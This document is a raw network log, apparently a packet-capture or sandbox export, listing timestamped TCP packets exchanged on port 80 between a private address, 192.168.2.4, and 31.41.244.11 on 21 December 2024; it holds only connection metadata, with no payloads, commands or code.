Dec 21, 2024 10:15:35.947597980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.947628975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.948205948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.948221922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.948283911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.948283911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.948972940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.949261904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.949275017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.949933052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.949949026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.949981928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.950027943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.950683117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.950699091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.951474905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.951535940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.951562881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.952347994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.952461958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.952539921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.953321934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.953429937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.953541040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.954066038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.954257965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.954355001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.955073118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.955090046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.955188036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.955645084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.955820084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.956454039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.956487894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.956502914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.956764936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.957268953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.957328081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.957482100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.958050013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.958162069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.958314896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.958827019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.958899021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.958946943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.959712982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.959804058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.959835052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.960036993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.960578918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.960594893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.960680962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.960680962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.961333990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.961422920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.961496115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.962136984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.962203979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.962229013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.962558985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.962944031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.963037014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.963068962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.963335037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.963934898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.963958025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.964600086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.964652061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.964696884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.965445995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.965620041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.965727091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.966449976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.966465950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.966552973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.967163086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.967242002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.967904091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.968018055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.968048096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.968733072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.968884945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.968914032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.969579935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.969733000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.969810009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.970511913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.970534086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.971301079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.971323967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.971347094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.972017050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.972140074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.972182989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.972853899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.972933054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.972958088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.973269939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.973762035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.973777056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.974545956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.974567890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.974617004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.974617004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.975320101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.975503922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.976141930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.976193905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.976228952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.977020025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.977117062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.977217913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.977930069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.977946997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.978074074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.978655100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.978770018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.979166031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.979506016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.979615927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.980252981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.980315924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.980384111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.981331110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.981380939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.981404066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.981894016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.982003927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.982213020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.131330967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.131370068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.131616116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.131632090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.131755114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.132447958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.132464886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.133207083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.133308887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.133491993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.133718014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.134314060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.134445906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.134479046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.135130882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.135279894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.135333061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.136002064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.136080027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.136145115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.136827946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.136919022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.137458086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.137742043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.137758017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.137942076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.138524055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.138575077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.138639927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.139233112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.139337063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.139359951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.140106916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.140187025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.140235901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.140909910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.140927076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.141719103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.141731024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.141836882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.141923904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.142543077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.142755032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.142819881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.143383026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.143505096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.143786907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.144274950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.144326925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.144999981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.145051003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.145070076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.145421982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.145809889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.145941973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.146641970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.146714926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.146792889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.147485971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.147583008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.147692919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.148389101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.148412943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.149143934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.149224043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.149257898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.149946928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.150015116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.150109053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.150859118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.150881052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.150955915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.151596069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.151767969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.151827097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.152439117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.152540922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.152734041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.153296947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.153356075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.153422117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.154077053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.154356003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.154910088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.154983044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.155013084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.155723095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.155802011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.155833960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.156560898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.156668901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.156699896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.157362938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.157576084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.157653093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.158184052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.158271074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.159111977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.159127951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.159198999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.159198999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.159872055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.159940958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.160043955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.160696983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.160824060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.161469936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.161505938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.161622047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.161673069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.162329912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.162442923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.163151979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.163168907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.163237095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.163237095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.163986921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.164056063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.164159060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.164793968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.164901972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.165338993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.165612936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.165750980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.165882111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.166454077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.166698933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.166759968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.167223930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.167359114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.167485952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.168080091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.168171883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.168301105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.168921947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.169043064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.169121981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.169753075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.169845104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.170568943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.170619965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.170650005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.171377897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.171442986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.171462059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.172262907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.172317982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.172342062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.173028946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.173118114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.173217058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.173794985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.173878908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.173893929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.175426006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.323170900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.323206902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.323318005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.323399067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.323617935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.323617935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.324129105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.324404001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.324677944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.324927092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.324990988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.325634003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.325649977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.325751066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.325751066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.326334000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.326982021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.327198982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.327260971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.327299118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.328037977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.328090906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.328155041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.328922033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.328938007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.329070091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.329709053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.329787970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.330548048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.330660105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.330692053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.331285000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.331334114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.331414938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.332220078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.332235098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.332335949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.332335949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.332948923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.333066940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.333385944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.333875895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.333976984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.334659100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.334714890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.334724903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.335410118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.335462093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.335500956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.336304903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.336388111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.336534977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.337150097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.337205887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.337354898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.337904930 CET	80	49808	31.41.244.11	192.168.2.4
